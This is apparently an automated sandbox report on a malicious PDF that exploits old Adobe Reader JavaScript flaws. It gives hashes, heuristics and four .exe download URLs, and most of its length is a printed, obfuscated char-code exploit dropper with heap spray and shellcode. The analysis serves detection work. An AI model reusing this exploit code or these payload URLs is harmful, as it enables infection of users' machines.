PDF malware analysis — malicious · 9e8f50e3cba05565

MALICIOUS

PDF

75.3 KB Created: 2009-12-01 19:41:06 Authoring application: PDF Library 8.1.8 (via PDF Library 2.7.3) First seen: 2026-05-09

MD5: 01c275dc2ac5837a203a8014910af067 SHA-1: 3cde2a7fe7eb31a957874d6021292ac141ee2190 SHA-256: 9e8f50e3cba05565ef6b04498f6db445dc363213b8a8f3a84f1f1e4690c90c1e

532 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 PowerShell T1204.001 Malicious Link T1204.002 Malicious File

The PDF file contains embedded JavaScript that exploits multiple known Adobe Reader vulnerabilities including CVE-2009-0927, CVE-2007-5659, and CVE-2008-2992. Static analysis indicates that this JavaScript is designed to download and execute a second-stage payload, as evidenced by the ClamAV detection 'Js.Exploit.Shellcode-18' on an extracted artifact. The obfuscated nature of the JavaScript and the use of multiple exploit triggers suggest a downloader or dropper functionality.

Machine Learning

Nyx PDF Classifier malicious score 0.9999

Heuristics 13

Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927

PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659

PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992

PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH

A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT

One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
JavaScript action low 3 related findings PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
PDF JavaScript rebuilds a builtin via replace() to run a char-code array critical PDF_JS_REPLACE_OBFUSCATED_CHARCODE_BUILDER

Decoded PDF JavaScript resolves a String builtin from a junked literal — e.g. String['eQvoaol3'.replace(/[3oQS5]/g,'')] yielding fromCharCode/eval — and feeds a large numeric char-code array through it to rebuild and execute the next stage. Dynamically reconstructing a builtin name by stripping junk characters has no benign purpose; paired with the char-code payload array it is an unambiguous obfuscated-JavaScript exploit dropper.
PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL

Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
ASCIIHexDecode filter (with exploit indicators) medium PDF_FILTER_HEX

Hex-encoding filter present alongside exploit delivery indicators — often used to hide payload or shellcode bytes
PDF differential parser failed info PDF_DIFFERENTIAL_PARSE_FAILED

The cross-check parser (pdfminer.six) failed on this file: PDF differential parser failed: PSSyntaxError. Static heuristics still ran and any of their findings above are valid; only the differential cross-check signal is missing.
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://ispiritatus.cn/lider/sploit/fqrtux2.exe Referenced by PDF JavaScript
- http://ispiritatus.cn/lider/sploit/click.php?r=Referenced by PDF JavaScript
- http://ispiritatus.cn/lider/sploit/bceguy2.exeReferenced by PDF JavaScript
- http://ispiritatus.cn/lider/sploit/dilrxy2.exeReferenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`javascript_obj0007_000.js`	pdf-javascript-stream	PDF /JS object 7 at offset 0x1A5	38047 bytes
SHA-256: `5a28d94fc66eab04f9f20bd298f34466b7fd4a4be7b2370a8849b8b4a8d64b73`
Preview script First 1,000 lines of the extracted script var zxbjtf=64485;gijpwy="";var lpst=true,fnpsu=true,eamzli="",klnqw=0,jpqsy=String,bfjr=jpqsy['fBrGoGmUCBhgagrnCGogdgeg'.replace(/[gnBGU]/g,'')],bcgn=String,dfgqr=bcgn['envDaAlD'.replace(/[DAZnp]/g,'')],cehk="11",tfmz="",fhkmrs=[62,59,58,151,166,159,148,165,154,160,159,81,151,154,169,144,154,165,89,170,146,163,164,161,93,81,157,150,159,90,172,62,59,58,58,168,153,154,157,150,81,89,170,146,163,164,161,95,157,150,159,152,165,153,81,91,81,99,81,109,81,157,150,159,90,172,62,59,58,58,58,170,146,163,164,161,81,92,110,81,170,146,163,164,161,108,62,59,58,58,174,62,59,58,58,170,146,163,164,161,81,110,81,170,146,163,164,161,95,164,166,147,164,165,163,154,159,152,89,97,93,81,157,150,159,96,99,90,108,62,59,58,58,163,150,165,166,163,159,81,170,146,163,164,161,108,62,59,58,174,62,59,62,59,58,151,166,159,148,165,154,160,159,81,166,165,154,157,144,161,163,154,159,165,151,89,90,172,62,59,58,58,167,146,163,81,161,146,170,157,160,146,149,81,110,81,166,159,150,164,148,146,161,150,89,83,86,166,118,115,118,106,86,166,97,97,97,98,86,166,102,103,97,97,86,166,114,98,103,101,86,166,97,97,100,97,86,166,97,97,97,97,86,166,101,97,105,115,86,166,105,115,97,116,86,166,98,116,104,97,86,166,105,115,114,117,86,166,97,105,101,97,86,166,116,100,102,118,86,166,105,115,102,102,86,166,105,115,118,116,86,166,97,105,101,102,86,166,100,100,102,99,86,166,116,98,117,99,86,166,97,100,116,99,86,166,98,97,100,99,86,166,105,97,101,97,86,166,97,97,100,105,86,166,119,102,104,102,86,166,116,99,105,115,86,166,102,117,102,114,86,166,97,101,116,99,86,166,102,102,97,97,86,166,118,116,105,115,86,166,102,98,102,98,86,166,102,103,102,100,86,166,103,97,102,104,86,166,102,117,105,115,86,166,100,100,97,105,86,166,105,115,116,97,86,166,97,116,104,102,86,166,119,118,105,115,86,166,104,103,97,100,86,166,105,115,100,116,86,166,104,105,101,118,86,166,116,119,97,100,86,166,102,98,105,115,86,166,102,99,98,116,86,166,102,98,105,115,86,166,102,99,99,101,86,166,104,98,105,115,86,166,101,118,98,101,86,166,104,102,105,106,86,166,105,115,119,116,86,166,99,97,104,98,86,166,119,104,97,100,86,166,101,114,106,106,86,166,101,99,114,117,86,166,100,115,103,97,86,166,119,116,102,102,86,166,97,101,104,102,86,166,116,97,100,100,86,166,100,104,118,115,86,166,119,119,100,100,86,166,101,102,97,100,86,166,106,104,97,116,86,166,116,119,105,115,86,166,104,102,114,118,86,166,99,115,119,117,86,166,101,119,119,106,86,166,118,105,102,98,86,166,119,119,106,101,86,166,119,119,119,119,86,166,116,100,100,115,86,166,104,101,103,98,86,166,118,115,97,99,86,166,105,115,117,106,86,166,97,116,101,102,86,166,102,118,106,99,86,166,119,99,97,100,86,166,118,97,117,98,86,166,116,103,97,100,86,166,116,106,100,100,86,166,115,104,97,119,86,166,102,119,97,105,86,166,118,98,116,98,86,166,97,100,97,99,86,166,97,100,116,114,86,166,105,115,116,119,86,166,97,100,97,98,86,166,105,106,116,99,86,166,119,105,101,102,86,166,105,115,103,98,86,166,119,105,101,102,86,166,102,118,102,119,86,166,116,106,102,115,86,166,102,102,116,100,86,166,118,116,105,115,86,166,118,105,102,98,86,166,119,119,101,106,86,166,119,119,119,119,86,166,103,105,102,97,86,166,103,97,118,105,86,166,97,101,115,119,86,166,103,116,118,105,86,166,119,119,119,119,86,166,100,100,119,119,86,166,102,99,117,99,86,166,119,119,102,99,86,166,97,105,104,102,86,166,117,97,119,119,86,166,101,102,105,106,86,166,105,115,119,116,86,166,119,116,101,102,86,166,116,100,116,106,86,166,105,115,102,102,86,166,105,100,118,116,86,166,97,116,118,116,86,166,101,102,105,117,86,166,102,97,119,101,86,166,101,102,116,103,86,166,104,102,119,101,86,166,101,102,116,103,86,166,104,99,119,102,86,166,101,102,116,103,86,166,103,116,119,103,86,166,101,102,116,103,86,166,103,117,119,104,86,166,101,102,116,103,86,166,103,119,119,105,86,166,101,102,116,103,86,166,103,118,119,106,86,166,101,102,116,103,86,166,99,118,119,114,86,166,101,102,116,103,86,166,103,101,119,115,86,166,101,102,116,103,86,166,103,116,119,116,86,166,101,102,116,103,86,166,103,116,119,117,86,166,101,102,116,103,86,166,97,97,119,118,86,166,114,97,118,105,86,166,119,119,119,119,86,166,102,97,119,119,86,166,102,117,103,105,86,166,98,98,105,114,86,166,118,105,98,103,86,166,119,119,98,102,86,166,119,119,119,119,86,166,116,101,105,100,86,166,105,102,97,116,86,166,104,101,116,97,86,166,103,114,98,102,86,166,103,114,97,97,86,166,119,119,97,97,86,166,97,116,104,102,86,166,104,102,119,119,86,166,103,114,97,105,86,166,119,119,97,97,86,166,105,102,117,97,86,166,104,102,116,97,86,166,101,97,97,100,86,166,116,100,116,106,86,166,116,97,100,100,86,166,116,100,116,106,86,166,100,100,102,104,86,166,105,115,116,97,86,166,99,101,101,116,86,166,105,115,97,116,86,166,99,101,104,116,86,166,119,116,97,105,86,166,114,114,119,100,86,166,116,100,102,119,86,166,101,116,105,115,86,166,97,101,99,101,86,166,100,106,105,97,86,166,105,115,97,97,86,166,104,101,116,98,86,166,101,97,97,103,86,166,100,105,105,97,86,166,104,102,97,97,86,166,99,115,119,114,86,166,116,100,116,98,86,166,105,115,102,102,86,166,105,100,118,116,86,166,103,101,118,116,86,166,105,117,102,100,86,166,119,97,101,102,86,166,100,100,102,104,86,166,102,97,117,115,86,166,101,102,116,103,86,166,103,115,119,97,86,166,101,102,116,103,86,166,103,102,119,98,86,166,101,102,116,103,86,166,104,99,119,99,86,166,101,102,116,103,86,166,103,118,119,100,86,166,101,102,116,103,86,166,103,102,119,101,86,166,101,102,116,103,86,166,103,116,119,102,86,166,101,102,116,103,86,166,100,100,119,103,86,166,101,102,116,103,86,166,100,99,119,104,86,166,101,102,116,103,86,166,99,118,119,105,86,166,101,102,116,103,86,166,103,101,119,106,86,166,101,102,116,103,86,166,103,116,119,114,86,166,101,102,116,103,86,166,103,116,119,115,86,166,102,117,105,105,86,166,118,105,119,116,86,166,119,119,97,115,86,166,119,119,119,119,86,166,103,105,102,97,86,166,101,100,103,105,86,166,105,118,119,106,86,166,105,97,118,105,86,166,119,119,119,118,86,166,105,115,119,119,86,166,105,117,119,105,86,166,106,116,101,102,86,166,101,101,103,114,86,166,118,105,102,97,86,166,119,119,104,118,86,166,119,119,119,119,86,166,101,102,105,117,86,166,103,114,118,97,86,166,102,97,98,97,86,166,104,100,118,105,86,166,119,119,119,119,86,166,105,100,119,119,86,166,98,116,116,101,86,166,101,102,105,117,86,166,102,97,118,97,86,166,101,102,105,117,86,166,102,97,106,116,86,166,102,100,102,100,86,166,102,100,102,100,86,166,102,100,102,100,86,166,104,102,119,119,86,166,116,104,97,105,86,166,106,116,101,102,86,166,97,97,101,101,86,166,97,97,97,97,86,166,119,119,102,100,86,166,102,119,117,104,86,166,115,103,97,119,86,166,102,115,116,97,86,166,116,100,116,106,86,166,105,115,102,102,86,166,102,98,118,116,86,166,102,100,102,98,86,166,102,104,102,103,86,166,101,99,103,114,86,166,104,99,118,105,86,166,97,97,97,97,86,166,105,115,97,97,86,166,100,100,117,105,86,166,105,102,119,103,86,166,102,106,117,115,86,166,101,102,116,104,86,166,103,98,119,105,86,166,103,102,99,118,86,166,116,104,104,105,86,166,119,116,101,102,86,166,97,97,103,102,86,166,97,97,97,97,86,166,102,103,104,118,86,166,101,102,105,117,86,166,102,97,119,105,86,166,118,105,102,103,86,166,97,97,102,98,86,166,97,97,97,97,86,166,102,97,102,106,86,166,115,98,118,105,86,166,119,119,119,118,86,166,105,102,119,119,86,166,102,106,116,97,86,166,104,101,102,106,86,166,105,117,100,106,86,166,97,98,101,103,86,166,118,105,102,97,86,166,97,97,100,115,86,166,97,97,97,97,86,166,119,105,105,115,86,166,101,102,105,117,86,166,102,97,119,105,86,166,99,98,118,105,86,166,119,119,119,119,86,166,105,102,119,119,86,166,102,106,116,97,86,166,104,101,102,106,86,166,102,104,97,116,86,166,97,98,118,105,86,166,119,119,119,119,86,166,102,106,119,119,86,166,101,101,116,103,86,166,119,119,100,105,86,166,102,97,104,100,86,166,101,102,105,117,86,166,119,118,119,105,86,166,102,105,97,97,86,166,101,102,105,117,86,166,102,97,119,105,86,166,118,105,102,104,86,166,119,118,104,101,86,166,119,119,119,119,86,166,102,106,102,106,86,166,101,103,101,103,86,166,119,100,100,115,86,166,114,114,104,116,86,166,102,118,102,119,86,166,116,106,102,115,86,166,102,102,116,100,86,166,118,116,105,115,86,166,102,100,102,98,86,166,103,97,103,103,86,166,100,99,115,98,86,166,97,97,118,105,86,166,97,97,97,97,86,166,102,105,97,97,86,166,97,105,100,105,86,166,97,100,104,101,86,166,118,115,101,97,86,166,101,97,119,106,86,166,102,117,105,115,86,166,105,97,97,105,86,166,101,99,119,115,86,166,97,105,104,102,86,166,117,115,100,100,86,166,98,105,105,114,86,166,116,100,105,115,86,166,98,104,118,115,86,166,98,105,100,105,86,166,98,98,104,103,86,166,100,100,101,97,86,166,105,101,116,106,86,166,104,101,117,115,86,166,101,97,97,116,86,166,97,105,100,105,86,166,119,115,104,102,86,166,119,118,101,97,86,166,118,115,116,115,86,166,100,100,119,99,86,166,105,106,116,97,86,166,119,116,101,102,86,166,101,102,105,115,86,166,102,115,119,116,86,166,116,100,116,106,86,166,97,99,100,99,86,166,104,101,103,105,86,166,104,97,104,101,86,166,99,119,100,114,86,166,103,106,99,119,86,166,104,97,104,100,86,166,104,99,103,106,86,166,104,101,103,106,86,166,104,101,103,98,86,166,104,100,104,102,86,166,103,100,99,118,86,166,99,119,103,118,86,166,103,106,103,116,86,166,103,102,103,101,86,166,99,119,104,99,86,166,104,97,104,100,86,166,103,119,103,116,86,166,104,101,103,106,86,166,103,103,99,119,86,166,104,99,104,98,86,166,104,102,104,101,86,166,100,99,104,105,86,166,103,102,99,118,86,166,103,102,104,105,86,166,103,105,97,97,86,166,104,101,104,101,86,166,100,114,104,97,86,166,99,119,99,119,86,166,104,100,103,106,86,166,103,106,104,97,86,166,103,106,104,99,86,166,103,98,104,101,86,166,104,102,104,101,86,166,99,118,104,100,86,166,103,118,103,100,86,166,103,116,99,119,86,166,103,101,103,106,86,166,104,99,103,102,86,166,104,100,99,119,86,166,103,116,104,97,86,166,103,106,103,119,86,166,99,119,104,101,86,166,103,116,103,100,86,166,103,100,103,106,86,166,99,118,103,115,86,166,103,105,104,97,86,166,100,119,104,97,86,166,100,117,104,99,86,166,97,97,97,97,83,90,108,62,59,58,58,167,146,163,81,159,160,161,81,110,81,166,159,150,164,148,146,161,150,89,83,86,166,97,114,97,114,86,166,97,114,97,114,86,166,97,114,97,114,86,166,97,114,97,114,83,90,62,59,58,58,167,146,163,81,153,150,146,161,147,157,160,148,156,81,110,81,159,160,161,81,92,81,161,146,170,157,160,146,149,108,62,59,58,58,167,146,163,81,147,154,152,147,157,160,148,156,81,110,81,166,159,150,164,148,146,161,150,89,83,86,166,97,114,97,114,86,166,97,114,97,114,83,90,108,62,59,58,58,167,146,163,81,153,150,146,149,150,163,164,154,171,150,81,110,81,99,97,108,62,59,58,58,167,146,163,81,164,161,163,146,170,81,110,81,153,150,146,149,150,163,164,154,171,150,81,92,81,153,150,146,161,147,157,160,148,156,95,157,150,159,152,165,153,108,62,59,58,58,168,153,154,157,150,81,89,147,154,152,147,157,160,148,156,95,157,150,159,152,165,153,81,109,81,164,161,163,146,170,90,172,62,59,58,58,58,147,154,152,147,157,160,148,156,81,92,110,81,147,154,152,147,157,160,148,156,108,62,59,58,58,174,62,59,58,58,167,146,163,81,151,154,157,157,147,157,160,148,156,81,110,81,147,154,152,147,157,160,148,156,95,164,166,147,164,165,163,154,159,152,89,97,93,81,164,161,163,146,170,90,108,62,59,58,58,167,146,163,81,147,157,160,148,156,81,110,81,147,154,152,147,157,160,148,156,95,164,166,147,164,165,163,154,159,152,89,97,93,81,147,154,152,147,157,160,148,156,95,157,150,159,152,165,153,94,164,161,163,146,170,90,108,62,59,58,58,168,153,154,157,150,81,89,147,157,160,148,156,95,157,150,159,152,165,153,92,164,161,163,146,170,81,109,81,97,169,101,97,97,97,97,90,172,62,59,58,58,58,147,157,160,148,156,81,110,81,147,157,160,148,156,81,92,81,147,157,160,148,156,81,92,81,151,154,157,157,147,157,160,148,156,108,62,59,58,58,174,62,59,58,58,167,146,163,81,158,150,158,144,146,163,163,146,170,81,110,81,159,150,168,81,114,163,163,146,170,89,90,108,62,59,58,58,151,160,163,81,89,167,146,163,81,154,81,110,81,97,108,81,154,81,109,81,98,101,97,97,108,81,154,92,92,90,172,62,59,58,58,58,158,150,158,144,146,163,163,146,170,140,154,142,81,110,81,147,157,160,148,156,81,92,81,153,150,146,161,147,157,160,148,156,108,62,59,58,58,174,62,59,58,58,167,146,163,81,159,166,158,81,110,81,98,99,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,106,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,108,62,59,58,58,166,165,154,157,95,161,163,154,159,165,151,89,83,86,101,102,97,97,97,151,83,93,81,159,166,158,90,108,62,59,58,174,62,59,62,59,58,151,166,159,148,165,154,160,159,81,148,160,157,157,146,147,144,150,158,146,154,157,89,90,172,62,59,58,58,167,146,163,81,164,153,150,157,157,148,160,149,150,81,110,81,166,159,150,164,148,146,161,150,89,83,86,166,118,115,118,106,86,166,97,97,97,98,86,166,102,103,97,97,86,166,114,98,103,101,86,166,97,97,100,97,86,166,97,97,97,97,86,166,101,97,105,115,86,166,105,115,97,116,86,166,98,116,104,97,86,166,105,115,114,117,86,166,97,105,101,97,86,166,116,100,102,118,86,166,105,115,102,102,86,166,105,115,118,116,86,166,97,105,101,102,86,166,100,100,102,99,86,166,116,98,117,99,86,166,97,100,116,99,86,166,98,97,100,99,86,166,105,97,101,97,86,166,97,97,100,105,86,166,119,102,104,102,86,166,116,99,105,115,86,166,102,117,102,114,86,166,97,101,116,99,86,166,102,102,97,97,86,166,118,116,105,115,86,166,102,98,102,98,86,166,102,103,102,100,86,166,103,97,102,104,86,166,102,117,105,115,86,166,100,100,97,105,86,166,105,115,116,97,86,166,97,116,104,102,86,166,119,118,105,115,86,166,104,103,97,100,86,166,105,115,100,116,86,166,104,105,101,118,86,166,116,119,97,100,86,166,102,98,105,115,86,166,102,99,98,116,86,166,102,98,105,115,86,166,102,99,99,101,86,166,104,98,105,115,86,166,101,118,98,101,86,166,104,102,105,106,86,166,105,115,119,116,86,166,99,97,104,98,86,166,119,104,97,100,86,166,101,114,106,106,86,166,101,99,114,117,86,166,100,115,103,97,86,166,119,116,102,102,86,166,97,101,104,102,86,166,116,97,100,100,86,166,100,104,118,115,86,166,119,119,100,100,86,166,101,102,97,100,86,166,106,104,97,116,86,166,116,119,105,115,86,166,104,102,114,118,86,166,99,115,119,117,86,166,101,119,119,106,86,166,118,105,102,98,86,166,119,119,106,101,86,166,119,119,119,119,86,166,116,100,100,115,86,166,104,101,103,98,86,166,118,115,97,99,86,166,105,115,117,106,86,166,97,116,101,102,86,166,102,118,106,99,86,166,119,99,97,100,86,166,118,97,117,98,86,166,116,103,97,100,86,166,116,106,100,100,86,166,115,104,97,119,86,166,102,119,97,105,86,166,118,98,116,98,86,166,97,100,97,99,86,166,97,100,116,114,86,166,105,115,116,119,86,166,97,100,97,98,86,166,105,106,116,99,86,166,119,105,101,102,86,166,105,115,103,98,86,166,119,105,101,102,86,166,102,118,102,119,86,166,116,106,102,115,86,166,102,102,116,100,86,166,118,116,105,115,86,166,118,105,102,98,86,166,119,119,101,106,86,166,119,119,119,119,86,166,103,105,102,97,86,166,103,97,118,105,86,166,97,101,115,119,86,166,103,116,118,105,86,166,119,119,119,119,86,166,100,100,119,119,86,166,102,99,117,99,86,166,119,119,102,99,86,166,97,105,104,102,86,166,117,97,119,119,86,166,101,102,105,106,86,166,105,115,119,116,86,166,119,116,101,102,86,166,116,100,116,106,86,166,105,115,102,102,86,166,105,100,118,116,86,166,97,116,118,116,86,166,101,102,105,117,86,166,102,97,119,101,86,166,101,102,116,103,86,166,104,102,119,101,86,166,101,102,116,103,86,166,104,99,119,102,86,166,101,102,116,103,86,166,103,116,119,103,86,166,101,102,116,103,86,166,103,117,119,104,86,166,101,102,116,103,86,166,103,119,119,105,86,166,101,102,116,103,86,166,103,118,119,106,86,166,101,102,116,103,86,166,99,118,119,114,86,166,101,102,116,103,86,166,103,101,119,115,86,166,101,102,116,103,86,166,103,116,119,116,86,166,101,102,116,103,86,166,103,116,119,117,86,166,101,102,116,103,86,166,97,97,119,118,86,166,114,97,118,105,86,166,119,119,119,119,86,166,102,97,119,119,86,166,102,117,103,105,86,166,98,98,105,114,86,166,118,105,98,103,86,166,119,119,98,102,86,166,119,119,119,119,86,166,116,101,105,100,86,166,105,102,97,116,86,166,104,101,116,97,86,166,103,114,98,102,86,166,103,114,97,97,86,166,119,119,97,97,86,166,97,116,104,102,86,166,104,102,119,119,86,166,103,114,97,105,86,166,119,119,97,97,86,166,105,102,117,97,86,166,104,102,116,97,86,166,101,97,97,100,86,166,116,100,116,106,86,166,116,97,100,100,86,166,116,100,116,106,86,166,100,100,102,104,86,166,105,115,116,97,86,166,99,101,101,116,86,166,105,115,97,116,86,166,99,101,104,116,86,166,119,116,97,105,86,166,114,114,119,100,86,166,116,100,102,119,86,166,101,116,105,115,86,166,97,101,99,101,86,166,100,106,105,97,86,166,105,115,97,97,86,166,104,101,116,98,86,166,101,97,97,103,86,166,100,105,105,97,86,166,104,102,97,97,86,166,99,115,119,114,86,166,116,100,116,98,86,166,105,115,102,102,86,166,105,100,118,116,86,166,103,101,118,116,86,166,105,117,102,100,86,166,119,97,101,102,86,166,100,100,102,104,86,166,102,97,117,115,86,166,101,102,116,103,86,166,103,115,119,97,86,166,101,102,116,103,86,166,103,102,119,98,86,166,101,102,116,103,86,166,104,99,119,99,86,166,101,102,116,103,86,166,103,118,119,100,86,166,101,102,116,103,86,166,103,102,119,101,86,166,101,102,116,103,86,166,103,116,119,102,86,166,101,102,116,103,86,166,100,100,119,103,86,166,101,102,116,103,86,166,100,99,119,104,86,166,101,102,116,103,86,166,99,118,119,105,86,166,101,102,116,103,86,166,103,101,119,106,86,166,101,102,116,103,86,166,103,116,119,114,86,166,101,102,116,103,86,166,103,116,119,115,86,166,102,117,105,105,86,166,118,105,119,116,86,166,119,119,97,115,86,166,119,119,119,119,86,166,103,105,102,97,86,166,101,100,103,105,86,166,105,118,119,106,86,166,105,97,118,105,86,166,119,119,119,118,86,166,105,115,119,119,86,166,105,117,119,105,86,166,106,116,101,102,86,166,101,101,103,114,86,166,118,105,102,97,86,166,119,119,104,118,86,166,119,119,119,119,86,166,101,102,105,117,86,166,103,114,118,97,86,166,102,97,98,97,86,166,104,100,118,105,86,166,119,119,119,119,86,166,105,100,119,119,86,166,98,116,116,101,86,166,101,102,105,117,86,166,102,97,118,97,86,166,101,102,105,117,86,166,102,97,106,116,86,166,102,100,102,100,86,166,102,100,102,100,86,166,102,100,102,100,86,166,104,102,119,119,86,166,116,104,97,105,86,166,106,116,101,102,86,166,97,97,101,101,86,166,97,97,97,97,86,166,119,119,102,100,86,166,102,119,117,104,86,166,115,103,97,119,86,166,102,115,116,97,86,166,116,100,116,106,86,166,105,115,102,102,86,166,102,98,118,116,86,166,102,100,102,98,86,166,102,104,102,103,86,166,101,99,103,114,86,166,104,99,118,105,86,166,97,97,97,97,86,166,105,115,97,97,86,166,100,100,117,105,86,166,105,102,119,103,86,166,102,106,117,115,86,166,101,102,116,104,86,166,103,98,119,105,86,166,103,102,99,118,86,166,116,104,104,105,86,166,119,116,101,102,86,166,97,97,103,102,86,166,97,97,97,97,86,166,102,103,104,118,86,166,101,102,105,117,86,166,102,97,119,105,86,166,118,105,102,103,86,166,97,97,102,98,86,166,97,97,97,97,86,166,102,97,102,106,86,166,115,98,118,105,86,166,119,119,119,118,86,166,105,102,119,119,86,166,102,106,116,97,86,166,104,101,102,106,86,166,105,117,100,106,86,166,97,98,101,103,86,166,118,105,102,97,86,166,97,97,100,115,86,166,97,97,97,97,86,166,119,105,105,115,86,166,101,102,105,117,86,166,102,97,119,105,86,166,99,98,118,105,86,166,119,119,119,119,86,166,105,102,119,119,86,166,102,106,116,97,86,166,104,101,102,106,86,166,102,104,97,116,86,166,97,98,118,105,86,166,119,119,119,119,86,166,102,106,119,119,86,166,101,101,116,103,86,166,119,119,100,105,86,166,102,97,104,100,86,166,101,102,105,117,86,166,119,118,119,105,86,166,102,105,97,97,86,166,101,102,105,117,86,166,102,97,119,105,86,166,118,105,102,104,86,166,119,118,104,101,86,166,119,119,119,119,86,166,102,106,102,106,86,166,101,103,101,103,86,166,119,100,100,115,86,166,114,114,104,116,86,166,102,118,102,119,86,166,116,106,102,115,86,166,102,102,116,100,86,166,118,116,105,115,86,166,102,100,102,98,86,166,103,97,103,103,86,166,100,99,115,98,86,166,97,97,118,105,86,166,97,97,97,97,86,166,102,105,97,97,86,166,97,105,100,105,86,166,97,100,104,101,86,166,118,115,101,97,86,166,101,97,119,106,86,166,102,117,105,115,86,166,105,97,97,105,86,166,101,99,119,115,86,166,97,105,104,102,86,166,117,115,100,100,86,166,98,105,105,114,86,166,116,100,105,115,86,166,98,104,118,115,86,166,98,105,100,105,86,166,98,98,104,103,86,166,100,100,101,97,86,166,105,101,116,106,86,166,104,101,117,115,86,166,101,97,97,116,86,166,97,105,100,105,86,166,119,115,104,102,86,166,119,118,101,97,86,166,118,115,116,115,86,166,100,100,119,99,86,166,105,106,116,97,86,166,119,116,101,102,86,166,101,102,105,115,86,166,102,115,119,116,86,166,116,100,116,106,86,166,97,99,100,99,86,166,104,101,103,105,86,166,104,97,104,101,86,166,99,119,100,114,86,166,103,106,99,119,86,166,104,97,104,100,86,166,104,99,103,106,86,166,104,101,103,106,86,166,104,101,103,98,86,166,104,100,104,102,86,166,103,100,99,118,86,166,99,119,103,118,86,166,103,106,103,116,86,166,103,102,103,101,86,166,99,119,104,99,86,166,104,97,104,100,86,166,103,119,103,116,86,166,104,101,103,106,86,166,103,99,99,119,86,166,103,102,103,100,86,166,104,102,103,104,86,166,100,99,104,106,86,166,103,102,99,118,86,166,103,102,104,105,86,166,103,105,97,97,86,166,104,101,104,101,86,166,100,114,104,97,86,166,99,119,99,119,86,166,104,100,103,106,86,166,103,106,104,97,86,166,103,106,104,99,86,166,103,98,104,101,86,166,104,102,104,101,86,166,99,118,104,100,86,166,103,118,103,100,86,166,103,116,99,119,86,166,103,101,103,106,86,166,104,99,103,102,86,166,104,100,99,119,86,166,103,116,104,97,86,166,103,106,103,119,86,166,99,119,104,101,86,166,103,116,103,100,86,166,103,100,103,106,86,166,99,118,103,115,86,166,103,105,104,97,86,166,100,119,104,97,86,166,100,117,104,99,86,166,97,97,97,97,83,90,108,62,59,58,58,167,146,163,81,158,150,158,144,146,163,163,146,170,81,110,81,159,150,168,81,114,163,163,146,170,89,90,108,62,59,58,58,167,146,163,81,148,148,81,110,81,97,169,97,148,97,148,97,148,97,148,108,62,59,58,58,167,146,163,81,146,149,149,163,81,110,81,97,169,101,97,97,97,97,97,108,62,59,58,58,167,146,163,81,164,148,144,157,150,159,81,110,81,164,153,150,157,157,148,160,149,150,95,157,150,159,152,165,153,81,91,81,99,108,62,59,58,58,167,146,163,81,157,150,159,81,110,81,146,149,149,163,81,94,81,89,164,148,144,157,150,159,92,97,169,100,105,90,108,62,59,58,58,167,146,163,81,170,146,163,164,161,81,110,81,166,159,150,164,148,146,161,150,89,83,86,166,106,97,106,97,86,166,106,97,106,97,83,90,108,62,59,